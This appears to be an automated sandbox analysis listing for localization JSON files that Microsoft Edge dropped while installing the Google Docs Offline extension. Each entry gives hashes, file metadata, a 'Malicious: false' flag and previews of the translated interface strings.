Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
